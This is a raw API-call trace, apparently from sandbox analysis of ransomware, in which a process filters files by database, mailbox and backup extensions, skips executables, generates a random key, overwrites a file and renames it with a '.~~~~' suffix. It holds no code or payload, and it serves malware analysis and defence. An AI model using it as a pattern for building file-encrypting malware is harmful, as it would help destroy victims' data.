	[0077.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".SQL") returned 0x0
	[0077.937] lstrlenW (lpString=".pst") returned 4
	[0077.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".pst") returned 0x0
	[0077.937] lstrlenW (lpString=".dbv") returned 4
	[0077.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".dbv") returned 0x0
	[0077.937] lstrlenW (lpString=".SDF") returned 4
	[0077.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".SDF") returned 0x0
	[0077.937] lstrlenW (lpString=".dtxs") returned 5
	[0077.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".dtxs") returned 0x0
	[0077.937] lstrlenW (lpString=".db3") returned 4
	[0077.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".db3") returned 0x0
	[0077.937] lstrlenW (lpString=".OST") returned 4
	[0077.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".OST") returned 0x0
	[0077.937] lstrlenW (lpString=".dbx") returned 4
	[0077.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".dbx") returned 0x0
	[0077.937] lstrlenW (lpString=".DB3") returned 4
	[0077.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".DB3") returned 0x0
	[0077.937] lstrlenW (lpString=".DAT") returned 4
	[0077.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".DAT") returned 0x0
	[0077.938] lstrlenW (lpString=".VHDX") returned 5
	[0077.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".VHDX") returned 0x0
	[0077.938] lstrlenW (lpString=".ndf") returned 4
	[0077.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".ndf") returned 0x0
	[0077.938] lstrlenW (lpString=".DB") returned 3
	[0077.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".DB") returned 0x0
	[0077.938] lstrlenW (lpString=".sql") returned 4
	[0077.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".sql") returned 0x0
	[0077.938] lstrlenW (lpString=".MYD") returned 4
	[0077.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".MYD") returned 0x0
	[0077.938] lstrlenW (lpString=".DBT") returned 4
	[0077.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".DBT") returned 0x0
	[0077.938] lstrlenW (lpString=".ACCDB") returned 6
	[0077.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".ACCDB") returned 0x0
	[0077.938] lstrlenW (lpString=".fdb") returned 4
	[0077.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".fdb") returned 0x0
	[0077.938] lstrlenW (lpString=".bak") returned 4
	[0077.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".bak") returned 0x0
	[0077.938] lstrlenW (lpString=".myd") returned 4
	[0077.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".myd") returned 0x0
	[0077.938] lstrlenW (lpString=".DTXS") returned 5
	[0077.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".DTXS") returned 0x0
	[0077.938] lstrlenW (lpString=".ckp") returned 4
	[0077.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".ckp") returned 0x0
	[0077.939] lstrlenW (lpString=".dbt") returned 4
	[0077.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".dbt") returned 0x0
	[0077.939] lstrlenW (lpString=".db") returned 3
	[0077.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".db") returned 0x0
	[0077.939] lstrlenW (lpString=".TXT") returned 4
	[0077.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".TXT") returned 0x0
	[0077.939] lstrlenW (lpString=".MDF") returned 4
	[0077.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".MDF") returned 0x0
	[0077.939] lstrlenW (lpString=".bdb") returned 4
	[0077.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".bdb") returned 0x0
	[0077.939] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0077.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.939] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0077.940] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.940] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.940] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0077.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x28061e8
	[0077.940] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19793047341) returned 1
	[0077.940] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x985a5950, dwHighDateTime=0x1d60e1e)) 
	[0077.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0077.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0077.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0077.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a97d8
	[0077.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a97d8 | out: hHeap=0x300000) returned 1
	[0077.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0077.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a81d0
	[0077.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0077.941] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0077.941] GetLastError () returned 0x0
	[0077.941] GetLastError () returned 0x0
	[0077.941] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0077.941] GetLastError () returned 0x0
	[0077.942] GetLastError () returned 0x0
	[0077.942] ReadFile (in: hFile=0x118, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x1f8fec0*=0x425, lpOverlapped=0x0) returned 1
	[0078.066] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffffbdb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0078.066] WriteFile (in: hFile=0x118, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x425, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x1f8fec0*=0x425, lpOverlapped=0x0) returned 1
	[0078.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0078.068] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.068] WriteFile (in: hFile=0x118, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0078.068] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0078.068] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0078.068] CloseHandle (hObject=0x118) returned 1
	[0078.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8560
	[0078.068] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.~~~~")) returned 1
	[0078.069] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8560 | out: hHeap=0x300000) returned 1
	[0078.069] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0078.069] GetLastError () returned 0x0
	[0078.069] RtlWakeConditionVariable () returned 0x365f70
	[0078.069] GetCurrentThreadId () returned 0xaf0
	[0078.069] GetCurrentThreadId () returned 0xaf0
	[0078.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7b48
	[0078.069] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8858 | out: hHeap=0x300000) returned 1
	[0078.069] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a98b8 | out: hHeap=0x300000) returned 1
	[0078.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8858
	[0078.069] lstrlenW (lpString=".scr") returned 4
	[0078.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".scr") returned 0x0
	[0078.070] lstrlenW (lpString=".cmd") returned 4
	[0078.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".cmd") returned 0x0
	[0078.070] lstrlenW (lpString=".dll") returned 4
	[0078.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".dll") returned 0x0
	[0078.070] lstrlenW (lpString=".bat") returned 4
	[0078.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".bat") returned 0x0
	[0078.070] lstrlenW (lpString=".cpl") returned 4
	[0078.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".cpl") returned 0x0
	[0078.070] lstrlenW (lpString=".sys") returned 4
	[0078.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".sys") returned 0x0
	[0078.070] lstrlenW (lpString=".msc") returned 4
	[0078.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".msc") returned 0x0
	[0078.070] lstrlenW (lpString=".com") returned 4
	[0078.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".com") returned 0x0
	[0078.070] lstrlenW (lpString=".lnk") returned 4
	[0078.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".lnk") returned 0x0
	[0078.070] lstrlenW (lpString=".msp") returned 4
	[0078.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".msp") returned 0x0
	[0078.070] lstrlenW (lpString=".pif") returned 4
	[0078.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".pif") returned 0x0
	[0078.070] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch="msp\r\n.pif") returned 0x0
	[0078.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0078.071] lstrlenW (lpString=".sqb") returned 4
	[0078.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".sqb") returned 0x0
	[0078.071] lstrlenW (lpString=".ost") returned 4
	[0078.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".ost") returned 0x0
	[0078.071] lstrlenW (lpString=".txt") returned 4
	[0078.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".txt") returned 0x0
	[0078.071] lstrlenW (lpString=".mdt") returned 4
	[0078.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".mdt") returned 0x0
	[0078.071] lstrlenW (lpString=".BDB") returned 4
	[0078.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".BDB") returned 0x0
	[0078.071] lstrlenW (lpString=".eql") returned 4
	[0078.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".eql") returned 0x0
	[0078.071] lstrlenW (lpString=".DBF") returned 4
	[0078.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".DBF") returned 0x0
	[0078.071] lstrlenW (lpString=".EQL") returned 4
	[0078.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".EQL") returned 0x0
	[0078.071] lstrlenW (lpString=".FDB") returned 4
	[0078.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".FDB") returned 0x0
	[0078.071] lstrlenW (lpString=".EDB") returned 4
	[0078.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".EDB") returned 0x0
	[0078.072] lstrlenW (lpString=".DACPAC") returned 7
	[0078.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".DACPAC") returned 0x0
	[0078.072] lstrlenW (lpString=".VHD") returned 4
	[0078.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".VHD") returned 0x0
	[0078.072] lstrlenW (lpString=".DBV") returned 4
	[0078.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".DBV") returned 0x0
	[0078.072] lstrlenW (lpString=".dacpac") returned 7
	[0078.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".dacpac") returned 0x0
	[0078.072] lstrlenW (lpString=".sdf") returned 4
	[0078.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".sdf") returned 0x0
	[0078.072] lstrlenW (lpString=".accdb") returned 6
	[0078.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".accdb") returned 0x0
	[0078.072] lstrlenW (lpString=".DBX") returned 4
	[0078.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".DBX") returned 0x0
	[0078.072] lstrlenW (lpString=".MDT") returned 4
	[0078.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".MDT") returned 0x0
	[0078.072] lstrlenW (lpString=".SQB") returned 4
	[0078.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".SQB") returned 0x0
	[0078.072] lstrlenW (lpString=".vhd") returned 4
	[0078.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".vhd") returned 0x0
	[0078.072] lstrlenW (lpString=".bac") returned 4
	[0078.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".bac") returned 0x0
	[0078.072] lstrlenW (lpString=".mdf") returned 4
	[0078.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".mdf") returned 0x0
	[0078.072] lstrlenW (lpString=".BAK") returned 4
	[0078.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".BAK") returned 0x0
	[0078.072] lstrlenW (lpString=".BAC") returned 4
	[0078.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".BAC") returned 0x0
	[0078.073] lstrlenW (lpString=".dbs") returned 4
	[0078.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".dbs") returned 0x0
	[0078.073] lstrlenW (lpString=".vhdx") returned 5
	[0078.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".vhdx") returned 0x0
	[0078.073] lstrlenW (lpString=".NDF") returned 4
	[0078.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".NDF") returned 0x0
	[0078.073] lstrlenW (lpString=".dat") returned 4
	[0078.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".dat") returned 0x0
	[0078.073] lstrlenW (lpString=".DBS") returned 4
	[0078.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".DBS") returned 0x0
	[0078.073] lstrlenW (lpString=".CKP") returned 4
	[0078.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".CKP") returned 0x0
	[0078.073] lstrlenW (lpString=".edb") returned 4
	[0078.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".edb") returned 0x0
	[0078.073] lstrlenW (lpString=".PST") returned 4
	[0078.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".PST") returned 0x0
	[0078.073] lstrlenW (lpString=".dbf") returned 4
	[0078.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".dbf") returned 0x0
	[0078.073] lstrlenW (lpString=".SQL") returned 4
	[0078.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".SQL") returned 0x0
	[0078.073] lstrlenW (lpString=".pst") returned 4
	[0078.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".pst") returned 0x0
	[0078.073] lstrlenW (lpString=".dbv") returned 4
	[0078.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".dbv") returned 0x0
	[0078.073] lstrlenW (lpString=".SDF") returned 4
	[0078.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".SDF") returned 0x0
	[0078.073] lstrlenW (lpString=".dtxs") returned 5
	[0078.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".dtxs") returned 0x0
	[0078.074] lstrlenW (lpString=".db3") returned 4
	[0078.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".db3") returned 0x0
	[0078.074] lstrlenW (lpString=".OST") returned 4
	[0078.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".OST") returned 0x0
	[0078.074] lstrlenW (lpString=".dbx") returned 4
	[0078.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".dbx") returned 0x0
	[0078.074] lstrlenW (lpString=".DB3") returned 4
	[0078.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".DB3") returned 0x0
	[0078.074] lstrlenW (lpString=".DAT") returned 4
	[0078.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".DAT") returned 0x0
	[0078.074] lstrlenW (lpString=".VHDX") returned 5
	[0078.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".VHDX") returned 0x0
	[0078.074] lstrlenW (lpString=".ndf") returned 4
	[0078.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".ndf") returned 0x0
	[0078.074] lstrlenW (lpString=".DB") returned 3
	[0078.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".DB") returned 0x0
	[0078.074] lstrlenW (lpString=".sql") returned 4
	[0078.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".sql") returned 0x0
	[0078.074] lstrlenW (lpString=".MYD") returned 4
	[0078.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".MYD") returned 0x0
	[0078.074] lstrlenW (lpString=".DBT") returned 4
	[0078.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".DBT") returned 0x0
	[0078.074] lstrlenW (lpString=".ACCDB") returned 6
	[0078.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".ACCDB") returned 0x0
	[0078.074] lstrlenW (lpString=".fdb") returned 4
	[0078.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".fdb") returned 0x0
	[0078.075] lstrlenW (lpString=".bak") returned 4
	[0078.075] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".bak") returned 0x0
	[0078.075] lstrlenW (lpString=".myd") returned 4
	[0078.075] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".myd") returned 0x0
	[0078.075] lstrlenW (lpString=".DTXS") returned 5
	[0078.075] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".DTXS") returned 0x0
	[0078.075] lstrlenW (lpString=".ckp") returned 4
	[0078.075] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".ckp") returned 0x0
	[0078.075] lstrlenW (lpString=".dbt") returned 4
	[0078.075] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".dbt") returned 0x0
